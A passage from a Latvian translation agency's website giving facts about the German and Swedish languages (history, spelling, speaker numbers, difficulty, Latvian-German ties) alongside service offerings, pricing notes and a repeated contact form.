Ligatūra esszett „ß” ir divu burtu „s” un „s” apvienojums vienā simbolā. Līdz 20. gadsimta sākumam oficiāli tika izmantota gotiskā rakstība. Pašreizējo rakstību sāka lietot 19. gadsimtā, bet pēc revolūcijas 1918. gadā tā tika apstiprināta oficiāli. Gotisko rakstību nesekmīgi centās atjaunot Nacionālsociālistiskā vācu strādnieku partija, bet mūsdienās tai ir tikai dekoratīva nozīme. Fonēmu atspoguļošanai rakstībā tiek izmantoti latīņu alfabētā balstīti deviņu patskaņu burti (a, e, i, y, o, u, ä, ö, ü) un 20 līdzskaņu burti (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, ß, v, w, x, z) un to kombinācijas (piemēram, sch , ng ). Vācu valodas ortogrāfijā galvenokārt tiek izmantots morfoloģiskais princips, arī fonētiskais princips, taču daļēji saglabāts arī vēsturiskais pieraksts un līdz ar to, piemēram, vairāki atšķirīgi patskaņa garuma marķējumi. Lietvārdus marķē ar lielajiem sākuma burtiem. CIK SAREŽĢĪTA IR VĀCU VALODA? „Apdāvinātam cilvēkam jāiemācās angļu valoda 30 stundās, franču valoda 30 dienās un vācu valoda 30 gados. ” / Marks Tvens/ Vācu valoda nav viena no grūtāk apgūstamajām valodām. Vismaz 45% vārdu ir ļoti līdzīgi angļu valodas vārdiem, tādēļ angļu valodas pratējiem apgūt vācu valodu būs gana vienkārši. Diezgan lielu uzcītību varētu prasīt trīs vācu valodas artikulu lietošana. Bet visticamāk, ka tikai valodas prakse un iegaumēšana būs risinājums. Neierasta ir teikumu gramatiskā uzbūve. Ja teikumā ir divi darbības vārdi vai tiek izmantots saliktais laiks, tad otrs darbības vārds novietojas teikuma beigās. Arī šī gramatikas iezīme ir reta, salīdzinot ar citām valodām. Tātad – tikai pacietība, laiks un vēlēšanās apgūt valodu ir galvenais, kas ir nepieciešamas ne tikai vācu, bet jebkuras valodas apguvei. Laiks, kādā apgūt valodu, ir ļoti individuāls, kādam tas prasīs gadus, kādam varbūt tikai vienu gadu. Ir pieņemts uzskatīt, lai apgūtu vācu valodu sarunvalodas līmenī, ir nepieciešamas 30 nedēļas, tātad 750 stundas. KUR UN CIK DAUDZ RUNĀ VĀCU VALODĀ? Pasaulē dzīvo aptuveni 185 miljoni vācu valodas pratēju, no kuriem vismaz 105 miljoniem tā ir dzimtā valoda. 80 miljonu cilvēku ikdienā lieto vācu valodu kā otro valodu vai pārvalda to kā svešvalodu. Vācu valoda galvenokārt ir izplatīta Vācijā (tā ir dzimtā valoda vairāk nekā 95% valsts iedzīvotāju), Austrijā – 89% un Šveicē 64%. Tā ir dzimtā valoda arī lielai daļai Lihtenšteinas un Luksemburgas iedzīvotāju. Pārējā Eiropā daudz vācvalodīgo dzīvo Itālijas ziemeļos, Beļģijas austrumos un Francijas Elzasas reģionā. Mazākas vācvalodīgo kopienas atrodas Čehijā, Ungārijā, Polijā, Rumānijā, kā arī Krievijā un Kazahstānā, uz kurieni vācieši tika izvesti Otrā pasaules kara laikā. Kāda daļa no tiem atgriezās dzimtenē 1980. un 1990. gados. Pavisam mazas vācvalodīgās kopienas atrodas Bulgārijā, Kiprā, Grieķijā, Izraēlā, Itālijā, Marokā, Nīderlandē, Portugālē u. c. Ārpus Eiropas visvairāk vācu valodā runājošo dzīvo ASV, Kanādā, Brazīlijā un Argentīnā. Vācu valodai ir oficiālās valodas statuss Vācijā, Beļģijā, Austrijā, Lihtenšteinā, Luksemburgā un Šveicē. Tā ir arī viena no Eiropas Savienības oficiālajām darba valodām. VĀCU VALODAS TULKS UN TULKOTĀJS Skrivanek vācu valodas tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, tehniskajiem tulkojumiem, gan arī notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu vācu valodā korektūru un stilistisko uzlabošanu. Biznesa klientiem visbiežāk tiek veikti šādi tulkojumi no/uz vācu valodu – produktu aprakstu, e-komercijas satura un mājaslapu tulkojumi, reklāmas saukļu un mārketinga tulkojumi, sadarbības līgumu, uzņēmējdarbības dokumentāciju tulkošana. Tiek veikta arī secīgā un sinhronā tulkošana lietišķās vai cita veida sarunās, tostarp Zoom un citās tiešsaistes platformās, klātienes konferencēs un citos pasākumos. Skrivanek latviešu-vācu valodas tulkotāji sadarbojas arī ar valsts iestādēm dokumentu, sadarbības līgumu tulkošanā, juridisko dokumentu tulkošanā. Pieprasīta arī ir medicīnisko tekstu un dokumentu tulkošana gan juridiskām, gan fiziskām personām. Fiziskām personām tiek veikta personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumi. Tā kā esam starptautisks tulkošanas birojs un strādājam ar klientiem no visām Baltijas valstīm, varam piedāvāt mūsu esošajiem un potenciālajiem klientiem arī tulkojumus no vācu valodas lietuviešu valodā. Mūsu kolektīvā strādā arī pieredzējuši igauņu-vācu valodas tulki un tulkotāji. VĀCU VALODA BIZNESĀ Vācijai, kas ir visapdzīvotākā valsts Eiropas Savienībā, tās loma starptautiskajā ekonomikas un biznesa arēnā kopš atkalapvienošanās ir ievērojami pieaugusi. Vācijā tiek izmantota sociālā tirgus ekonomika – atvērtā tirgus kapitālisms, kas nes arī noteiktas sociālo pakalpojumu garantijas. Tās ekonomika ir viena no lielākajām pasaulē, un Vācija ir viena no pasaules vadošajām importētāj/eksportētājvalstīm. Pakalpojumi, kas ietver tādas nozares kā telekomunikācijas, veselības aprūpe un tūrisms, sniedz vislielāko ieguldījumu valsts ekonomikā. Rūpniecība un lauksaimniecība ir citas nozīmīgākās ekonomikas nozares. Vācija uzņēmējdarbības attīstības ziņā pasaulē šobrīd varētu būt ierindota 2. vietā aiz Japānas. Tā tiek arī novērtēta kā visspēcīgākā valsts Eiropā dzīves kvalitātes, darba tirgus un uzņēmējdarbības ziņā. Tā kā vācu valoda ir dzimtā valoda vairāk nekā 185 miljoniem cilvēku Vācijā un citur pasaulē, valsts izceļas ar progresīvu tehnoloģiju attīstību, popularitāti e-komercijas jomā, tas ir fantastisks tirgus sektors ārvalstu uzņēmējiem. Tādēļ vācu valodas zināšanām ir ļoti liela ietekme un nozīme jebkurās biznesa attiecībās Vācijā un visās valstīs, kur tā ir oficiālā valsts valoda. Mērķa auditorija e-komercijas jomā ir milzīga. Ja ir vēlme piesaistīt biznesa partneri no Vācijas un iesaistīties dinamiskākajā biznesa ekonomikā pasaulē, runājiet vāciski. Vācieši labprātāk sadarbojas ar uzņēmumiem, kuru darbinieki runā vācu valodā. Ir pierādīts, ka vācieši ir diezgan diskriminējoši pat pret pasaulē zināmiem zīmoliem, kuru tīmekļa vietnes ir tikai vienā valodā; tas ir drošākais veids, kā atsvešināt vācu klientus, pat ja viņi runā angliski. VĀCIJAS UN LATVIJAS SADARBĪBA Latvijas vācieši ir viena no vēsturiskajām Latvijas mazākumtautībām, daļa no Baltijas provinču vāciešiem jeb vācbaltiešiem. Vairums Latvijas vāciešu mūsdienās dzīvo Rīgā un Liepājā. 2017. gadā Latvijas vācieši bija astotā lielākā mazākumtautība, pēc 2011. gada tautas skaitīšanas datiem, Latvijā dzīvoja 3042 vācieši. Vācu ieceļošana Latvijā pieminēta jau Latviešu Indriķa 13. gadsimta sākumā uzrakstītās Livonijas hronikas pirmajā daļā. Priesteris Meinards no Holšteinas ieradās Daugavas lejtecē ap 1180. gadu un apmetās pie Daugavas lejtecē dzīvojošajiem lībiešiem. Livonijas krusta karu gaitā vācu krustnešu ieņemtajās zemēs tika izveidota Livonijas konfederācija, līdztekus latīņu valodai kā starptautu saziņas valoda arvien lielāku nozīmi ieguva vācu valoda un tās lejasvācu dialekts. Pēc Kurzemes un Zemgales hercogistes un Zviedru Vidzemes izveides to lietvedībā dominēja vācu valoda. Arī pēc 1710. gada Vidzemes kapitulācijas vācbaltieši un vācu valoda saglabāja dominējošo stāvokli Vidzemē. Krievijas impērijas ķeizariene Katrīna II 1766. gadā izdeva pavēli par vācu zemnieku kolonijas dibināšanu Iršu pagastā. Pirmais pārceļotājs ieradās 1765. gadā no Lībekas, nākamo divu gadu laikā ieradās 86 kolonistu dzimtas no Pfalcas, Darmštates un Pomerānijas apgabaliem. 18. gadsimta beigās Latvijas teritorijā bija apmēram 6,5% vāciešu, 19. gadsimta beigās 1897. gada tautas skaitīšana uzrādīja 7,1% vāciešu. (aptuveni 138 tūkstošus). 1905. gada revolūcijas iespaidā Kurzemes vācu muižnieki 1908. —1913. gadā sāka uz savu roku nometināt uzpirktajās muižās vācu kolonistus no Krievijas impērijas nomalēm (Polijas un Dienvidkrievijas), ko finansēja „Kurländischer Kreditverein” Jelgavā. Pirmo Kurzemes vācu zemnieku koloniju izveidoja Kurmāles un Planicas pagastos. Pavisam Kurzemes guberņā līdz Pirmā pasaules kara sākumam apmetās ap 13 000 vācu zemnieku. Pēc valstiskās neatkarības iegūšanas 20. gadsimta 20. —30. gados Latvijas vāciešu īpatsvars samazinājās, tomēr viņi saglabāja savu ietekmi Latvijas ekonomikā: 1935. gadā no 922 lielajiem rūpniecības uzņēmumiem 15,7% piederēja vāciešiem, tie ražoja 36,7% kopprodukcijas. Pēc Otrā pasaules kara sākuma no 1939. gada 7. novembra līdz 16. decembrim no Latvijas izceļoja aptuveni 47 000 vācbaltiešu, bet palika ap 4000—7000. Pēc Latvijas okupācijas 1941. gada 10. janvārī Vācijas un PSRS valdības parakstīja vienošanos par Latvijas vāciešu papildu izceļošanas atļaušanu. Vāciju un Latviju mūsdienās saista ne tikai ģeogrāfiskais tuvums un sena kopīgā vēsture. It īpaši kopš Latvijas dalības ES un NATO, ko aktīvi atbalstīja arī Vācijas valdība, abu valstu likteņi ir cieši saistīti, jo abas valstis ir kļuvušas par īstām partnervalstīm. Praksē tām nākas sevi apliecināt arvien no jauna, kā par to liecina tikai kopīgiem spēkiem pārvaramie finanšu un bēgļu krīzes radītie izaicinājumi, kā arī izaicinājumi, kas saistīti ar drošības politiku. Te nav runa tikai par militāro atbalstu vien, kas, piemēram, izriet no Vācijas vadošās lomas vienā no četriem daudznacionālajiem bataljoniem, kurus NATO izvietojusi Baltijas valstīs un Polijā, Vācijas dalību Baltijas valstu gaisa telpas kontrolē un manevros vai arī flotes vizītēs. Vācija ir devusi būtisku ieguldījumu Baltijas reģiona drošības un stabilitātes nodrošināšanā. Vācija regulāri piedalās Baltijas valstu gaisa telpas patrulēšanas operācijās. Latvijai ir cieša sadarbība ar Vāciju arī transporta un loģistikas jomā. Vācija ir viena no valstīm, kuras uzņēmēji ir iesaistījušies „Rail Baltica” infrastruktūras projektā. Lai vienotos par sadarbību dzelzceļa un transporta nozares izglītības attīstībā, 2021. gada decembrī Rīgā tika parakstīts memorands starp Satiksmes, Labklājības un Izglītības un zinātnes ministrijām un Vācijas kompānijas „Deutsche Bahn” meitasuzņēmumu „DB Engineering & Consulting GmbH”. Memorands iezīmē kopīgu izpratni par nepieciešamību veidot dzelzceļa zinību akadēmiju, palīdzot Rīgai un Latvijai kļūt par Baltijas dzelzceļa un loģistikas nozares zināšanu centru. Pēc sadarbības memoranda parakstīšanas turpinās praktiskais darbs, lai vienotos par nepieciešamajiem soļiem akadēmijas izveidē. Īpaši aktīva Latvijas un Vācijas sadarbība augstākās izglītības jomā tiek īstenota, pamatojoties uz augstākās izglītības iestāžu savstarpējiem divpusējās sadarbības līgumiem un Mūžizglītības programmas apakšprogrammas „Erasmus” ietvaros. Jau vairākus gadus Vācijas Bundestāgs piedāvā iespēju jauniešiem vecumā līdz 32 gadiem piedalīties Starptautiskajā Parlamenta stipendiju programmā „Internationales Parlaments-Stipendium”. Latvija šajā programmā iesaistījās 1992. gadā. Kopš 2010. gada arī Latvijas Republikas Saeima ik gadu piedāvā iespēju nodrošināt prakses iespējas vācu studentiem. Vācijas vēstniecība un Gētes institūts Rīgā sniedz lielu atbalstu vācu valodas mācīšanai Latvijas izglītības iestādēs, sadarbībā ar Latvijas Vācu valodas skolotāju asociāciju un Valsts izglītības satura centru. Kopīgās gadsimtiem ilgās vēstures gaitā vācu tradīcijas un kultūra būtiski ietekmējusi arī Latvijas kultūrvides un profesionālās kultūras veidošanos un attīstību. Kopš 1993. gada Latvijā darbojas Gētes institūts, kas izveidojies par aktīvu kultūras un mākslas vides partneri daudzām Latvijas kultūras institūcijām. Augstu vērtējams un atbalstāms ir Gētes institūta Rīgā un citu vācu kultūras institūciju un pārstāvju ieguldījums, iepazīstinot Latvijas iedzīvotājus ar vācu literatūru, mākslu, mūziku, kino un citām jomām. Rīgā atrodas arī Vācijas vēstniecība Latvijā. VĀCU VALODAS DIENA Vācu valodas asociācijas 2001. gadā aizsāktā Vācu valodas diena katru gadu tiek svinēta septembra otrajā sestdienā. Vācu valodu galvenokārt runā Centrāleiropas valstīs. Šajās valstīs to parasti runā kā oficiālo vai otro valsts valodu. Vācu valoda tiek uzskatīta par plaši lietotu valodu pēc angļu valodas. Vācu valodas diena ir veltīta daudzveidības veicināšanai valodu pasaulē. Interese par vācu valodu atkal pieaug – īpaši Dienvideiropā. Tas var būt saistīts ar Vācijas augsti novērtēto izglītības sistēmu, tās pozitīvo ekonomisko attīstību vai pat tās reputāciju kopumā. Gandrīz 100 miljoni cilvēku visā pasaulē izmanto vācu valodu kā savu dzimto valodu. Vairāk nekā 130 miljoni cilvēku runā vācu valodā. Tā ir plaši izplatīta dzimtā valoda Eiropas Savienībā. Tai ir liels ieguldījums filozofijas, zinātnes un tehnoloģiju jomās. Daudzas tīmekļa vietnes un zinātniski pētnieciskie darbi ir rakstīti vācu valodā. Tā arī ieņēmusi piekto vietu ikgadējo jauno grāmatu izdošanas reitingā. Statistika apgalvo, ka desmitā daļa no visām grāmatām (pat e-grāmatām) pasaulē tiek izdotas vācu valodā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VĀCU VALODĀ: dažādu dokumentu tulkošana vācu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vācu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi vācu valodā; individuālie un grupu vācu valodas kursi. VĀCU VALODAS KOMBINĀCIJAS: vācu–latviešu; latviešu–vācu; vācu–lietuviešu; lietuviešu–vācu; igauņu–vācu; vācu–igauņu; angļu–vācu; vācu–angļu; krievu–vācu; vācu–krievu; poļu–vācu; vācu–poļu; ukraiņu–vācu; vācu–ukraiņu; čehu–vācu; vācu–čehu; vācu–rumāņu; rumāņu–vācu; spāņu–vācu; vācu–spāņu; franču–vācu; vācu–franču; itāļu–vācu; vācu–itāļu; dāņu–vācu; vācu–dāņu; zviedru–vācu; vācu–zviedru; norvēģu–vācu; vācu–norvēģu; somu–vācu; vācu–somu; vācu–arābu; arābu–vācu; vācu–armēņu, armēņu–vācu; vācu–baltkrievu, baltkrievu–vācu; bulgāru–vācu, vācu–bulgāru; vācu–ebreju, ebreju–vācu, vācu–grieķu, grieķu–vācu; vācu–gruzīnu; gruzīnu–vācu; vācu–hindi; hindi–vācu; vācu–holandiešu; holandiešu–vācu; vācu–korejiešu; korejiešu–vācu; vācu–kurdu; kurdu–vācu; vācu–ķīniešu; ķīniešu–vācu; vācu–portugāļu; portugāļu–vācu; vācu–slovāku; slovāku–vācu; vācu–slovēņu; slovēņu–vācu; vācu–turku; turku–vācu; vācu–ungāru; ungāru–vācu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi zviedru valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2024-10-25 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional TULKOJUMI ZVIEDRU VALODĀ / TULKOT ZVIEDRU VALODĀ CIK MAKSĀ TULKOŠANA ZVIEDRU VALODĀ? Tulkojumu cena no/uz zviedru valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairāki nosacījumi, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz zviedru valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ZVIEDRU VALODĀ: dokumentu tulkošana zviedru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; zviedru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi zviedru valodā; zviedru valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus zviedru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ZVIEDRU VALODĀ / TULKOT ZVIEDRU VALODĀ CIK MAKSĀ TULKOŠANA ZVIEDRU VALODĀ? Tulkojumu cena no/uz zviedru valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairāki nosacījumi, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz zviedru valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ZVIEDRU VALODĀ: dokumentu tulkošana zviedru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; zviedru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi zviedru valodā; zviedru valodas kursi. Meklējiet valodu risinājumus zviedru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ZVIEDRU VALODU Zviedru valoda pieder indoeiropiešu valodu saimes ģermāņu grupas ziemeļģermāņu apakšgrupai. Tā ir radniecīga norvēģu, dāņu un islandiešu valodām, vistuvākā radniecība tai ir ar dāņu valodu, tālākā – ar norvēģu. Šo valodu prot aptuveni 10 miljoni cilvēku, un tā ir oficiālā valsts valoda Zviedrijā un otra valsts valoda Somijā, kā arī viena no Eiropas Savienības un Ziemeļu Padomes oficiālajām valodām. Zviedrijā dzīvo ap 9,4 miljoni zviedru valodas runātāju, Somijā – 290 000, ASV – 70 000, Spānijā – 40 000, Apvienotajā Karalistē – 30 000 un Kanādā – 20 000. Pēc runātāju skaita zviedru valoda ir lielākā no Ziemeļvalstu valodām. Tā kā visas skandināvu valodas vēsturiski ir ietekmējusi lejasvācu valoda, arī mūsdienās gan zviedri, gan somi un norvēģi spēj saprast cits cita teikto. Uzskata, ka pat aptuveni 30–40 % vārdu skandināvu valodās ir aizgūti no lejasvācu valodas, un šīs līdzības vērojamas gan leksikā, gan gramatikā. Bieži runā par sešiem galvenajiem dialektu apgabaliem Zviedrijā, un tiem tiek pievienotas austrumzviedru izloksnes (östsvenska målen) Somijā. Zviedrijā virzienā no dienvidiem uz ziemeļiem izšķir dienvidzviedru dialektus (sydsvenska mål), jētlandiešu dialektus (götamål), gotlandiešu dialektus (götländska mål), svēlandiešu dialektus (sveamål), berjslāgeniešu dialektus (bergslagsmål) un norlandiešu dialektus (norrländska mål). Atšķirības starp dialektu apgabaliem galvenokārt attiecas uz izrunu. Tomēr ir arī daudz īstu vietējo dialektu, kurus cilvēkiem, kas ieradušies no citām vietām, var būt grūti saprast. Zviedru valoda ir veidojusies no senskandināvu valodas, kurā Skandināvijā vikingu ēras laikā runāja ģermāņu ciltis. Aptuveni 8. gadsimtā no tās sāka veidoties dažādas reģionālas valodas formas, kuras līdz 11. gadsimtam pārtapa par četriem dialektiem, kas tālāk attīstījās tagadējās ziemeļģermāņu valodās – islandiešu, norvēģu, dāņu un zviedru valodā. Zviedru valodas leksikā ir daudz aizguvumu – senākie no latīņu, grieķu, lejasvācu un augšvācu valodas, jaunākie – no franču un angļu valodas. Senākais zviedru valodas rakstības veids bija rūnu raksti, ar kuriem greznoti vēstures pieminekļi, kas saglabājušies pat no 8. gadsimta. Līdz ar kristietības un tās reliģiskās literatūras izplatīšanos 10. –11. gadsimtā, Zviedrijā plaši lietoja arī latīņu valodu. Bagātīgākas zviedru valodas rakstības liecības saglabājušās sākot ar 13. gadsimtu, kad zviedru valodas rakstībā sāka lietot latīņu alfabētu. Nozīmīgākie rakstu pieminekļi zviedru valodā, kuri saglabājušies no 14. gadsimta sākuma, ir vēsturiskas hronikas. Zviedru literārās valodas izveidi veicinājis 16. gadsimtā izdotais Bībeles tulkojums no latīņu valodas zviedru valodā. Literārā valoda veidojusies 17. gadsimtā, tai ir divi varianti – rikksvenska (Zviedrijā) un finlandssvenska (Somijā). Literārās valodas pamatā ir svejiskie dialekti. Pirmā iespiestā grāmata zviedru valodā izdota 1495. gadā, pirmā zviedru gramatikas grāmata – 1684. gadā (latīņu valodā). Galvenās dialektu grupas ir šādas: dienvidzviedru, jētiskie, svejiskie, norlandiešu, austrumzviedru un gotlandiešu dialekti. 1786. gadā karalis Gustavs III (Gustaf III) nodibināja Zviedrijas Akadēmiju (Svenska Akademien), lai “veicinātu zviedru valodas tīrību, spēku un diženumu”. Zviedrijas Akadēmijas vislabāk zināmais uzdevums mūsdienās ir Nobela prēmijas piešķiršana literatūrā. Akadēmija piešķir arī citus apbalvojumus un ir atbildīga arī par Zviedrijas Akadēmijas vārdu sarakstu (Svenska Akademiens ordlista), kas ir normatīvs zviedru pareizrakstības un vārdu formu darināšanas izdevums, kura pirmais publicējums datēts ar 1874. gadu. Saskaņā ar 2009. gada Valodu likumu zviedru valodai Zviedrijā ir galvenās valodas statuss. Likumā ir noteikts, ka zviedru valoda ir Zviedrijas vispārpieņemtā kopējā un sabiedriskās saziņas valoda. To var izmantot visās sabiedrības jomās, piemēram, sazinoties ar valsts pārvaldes iestādēm. Zviedru valodai Somijā ir valsts valodas statuss ar tādu pašu juridisko statusu kā somu valodai. Zviedru valoda ir viena no oficiālajām Eiropas Savienības valodām. Zviedrijā ir arī piecas mazākumtautību valodas: somu, meankieli, sāmu, jidišs un romu. Zviedrijas parlaments likumdošanas kārtībā ir piešķīris minoritātes valodas statusu arī zviedru zīmju valodai. Zviedru valoda ir diezgan sarežģīta gan gramatiski, gan skanējuma ziņā. Bieži vien teikums beidzas ar augšupejošu intonāciju. Savdabīgo skanējumu nosaka divējādi akcentu jeb intonāciju veidi – ir krītošais akcents un locītā intonācija. Locītā intonācija dzirdama divzilbju un vairākzilbju vārdos, kuros vienai zilbei ir pamata uzsvars, bet citai – blakus uzsvars. Tādos vārdos intonācija vispirms ir krītoša, tad kāpj un atkal krīt, veidojot muzikālu skanējumu. Mūsdienu zviedru valodai raksturīgs neformāls stils un tuvinošas gaisotnes radīšana gan saskarsmē ar citiem cilvēkiem, gan arī saziņā ar valsts pārvaldes iestādēm. Ar dažiem izņēmumiem personas, arī personiski nepazīstami ļaudis ar augstu sociālo statusu, tiek uzrunāti ar personu vietniekvārdu vienskaitļa otrajā personā du (‘tu’). Šādas komunikatīvās attīstības pirmsākumi meklējami 20. gadsimta 60. gados. Valodas kods ISO 639-1: sv ZVIEDRU ALFABĒTS Kopš 13. gadsimta zviedru valodas pierakstīšanai tiek lietots latīņu alfabēts, kas papildināts ar dažiem burtiem, kas nav raksturīgi latīņu alfabētam. Zviedru alfabēts sastāv no 29 burtiem – 9 patskaņiem ( a, e, i, o, u, y, å, ä, ö) un 20 līdzskaņiem ( b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). No tiem W un Q tiek izmantoti tikai nosaukumos vai aizguvumos. CIK SAREŽĢĪTA IR ZVIEDRU VALODA? Mācīšanās saprast, runāt un domāt citā valodā ir pārsteidzošs un vienmēr laikietilpīgs process. Apgūstot svešvalodu, mēs ne tikai papildinām savas zināšanas, bet iegūstam jaunu informāciju par kādu tautu, valsti, viņu kultūru un tradīcijām. Viedokļi par zviedru valodas sarežģītību ļoti atšķiras. Eiropas iedzīvotājiem, kuru dzimtā valoda ir angļu vai vācu, kā arī tiem, kuri ir apguvuši šīs valodas, zviedru valodas studijas lielas grūtības nesagādā. Pirmkārt – no šīm valodām zviedru valodā ir daudz aizguvumu. Sākot ar 20. gs. , sākumu valodas gramatika pakāpeniski tika vienkāršota, netiek lietotas vairs darbības vārdu daudzskaitļa formas, ir tikai divi locījumi. Lietvārdam ir divas dzimtes – kopējā un nekatrā. Lielākā daļa lietvārdu ir nekatrajā dzimtē. Uz nekatro dzimti norāda nenoteiktais artikuls en, uz noteikto – ett. Interesanti, ka zviedru valodā lietvārdam ir divas formas: noteiktā un nenoteiktā. Uzsvērtās zilbes zviedru valodā vienmēr izrunā gari, turpretī neuzsvērtās – īsi. Gari var izrunāt ne tikai patskani, bet arī dubultotu līdzskani vai dažādu līdzskaņu virkni. Īpašības vārds saskaņojas ar lietvārdu dzimtē un skaitlī – tā galotnes izvēle ir atkarīga no lietvārda, ar kuru īpašības vārds ir saistīts. Zviedru valodā, tāpat kā latviešu valodā, ir divu veidu saikļi – sakārtojuma un pakārtojuma. Vārdu kārtība teikumā ir stingri noteikta. Nedaudz sarežģītāka varētu būt izruna, jo izšķirt divas intonācijas, kas var mainīt arī vārdu nozīmi. Bet šīs intonācijas padara zviedru valodu ļoti melodisku un skaistu. Vislielākais plus zviedru valodas apguvē ir tas, ka iemācoties zviedru valodu, teorētiski ir iespējams saprast arī norvēģu un dāņu valodu. Saskaņā ar ASV Ārlietu dienesta institūta datiem, lai brīvi runātu zviedru valodā, būtu nepieciešamas vismaz 750 mācību stundas. ZVIEDRU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem 